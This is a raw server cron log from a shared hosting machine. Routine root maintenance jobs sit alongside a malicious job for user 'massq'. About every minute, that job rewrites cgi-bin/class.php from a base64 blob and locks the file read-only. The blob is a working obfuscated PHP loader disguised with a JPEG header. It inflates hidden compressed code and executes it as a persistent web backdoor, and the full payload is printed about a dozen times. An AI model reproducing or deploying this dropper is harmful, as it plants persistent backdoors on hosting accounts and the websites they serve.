Aug 30 23:52:01 server CROND[21390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:52:01 server CROND[21391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:53:01 server CROND[21785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:53:01 server CROND[21786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:53:01 server CROND[21787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:53:01 server CROND[21788]: (root) CMD (/usr/lib64/sa/sa2 -A)
Aug 30 23:54:01 server CROND[22192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:54:01 server CROND[22193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:54:01 server CROND[22194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:55:01 server CROND[22658]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 23:55:01 server CROND[22659]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:55:01 server CROND[22661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:55:01 server CROND[22662]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 23:55:01 server CROND[22664]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:55:01 server CROND[22666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:55:01 server CROND[22667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:56:01 server CROND[23822]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:56:01 server CROND[23823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:56:01 server CROND[23825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:57:02 server CROND[24316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:57:02 server CROND[24317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:57:02 server CROND[24318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:57:02 server CROND[24319]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 23:58:01 server CROND[24696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:58:01 server CROND[24698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:58:01 server CROND[24697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:59:01 server CROND[25085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:59:01 server CROND[25084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:59:01 server CROND[25086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:00:01 server CROND[25638]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 00:00:01 server CROND[25639]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:00:01 server CROND[25640]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 00:00:01 server CROND[25645]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:00:01 server CROND[25649]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Aug 31 00:00:01 server CROND[25650]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 00:00:01 server CROND[25652]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 00:00:01 server CROND[25648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:00:01 server CROND[25651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:00:01 server CROND[25647]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 00:00:01 server CROND[25646]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:01:01 server CROND[26571]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 00:01:01 server CROND[26572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:01:01 server CROND[26573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:01:01 server CROND[26575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:01:01 server run-parts(/etc/cron.hourly)[26571]: starting 0anacron
Aug 31 00:01:01 server anacron[26591]: Anacron started on 2026-08-31
Aug 31 00:01:01 server run-parts(/etc/cron.hourly)[26593]: finished 0anacron
Aug 31 00:01:01 server anacron[26591]: Normal exit (0 jobs run)
Aug 31 00:02:01 server CROND[27052]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:02:01 server CROND[27053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:02:01 server CROND[27054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:03:01 server CROND[27442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:03:01 server CROND[27443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
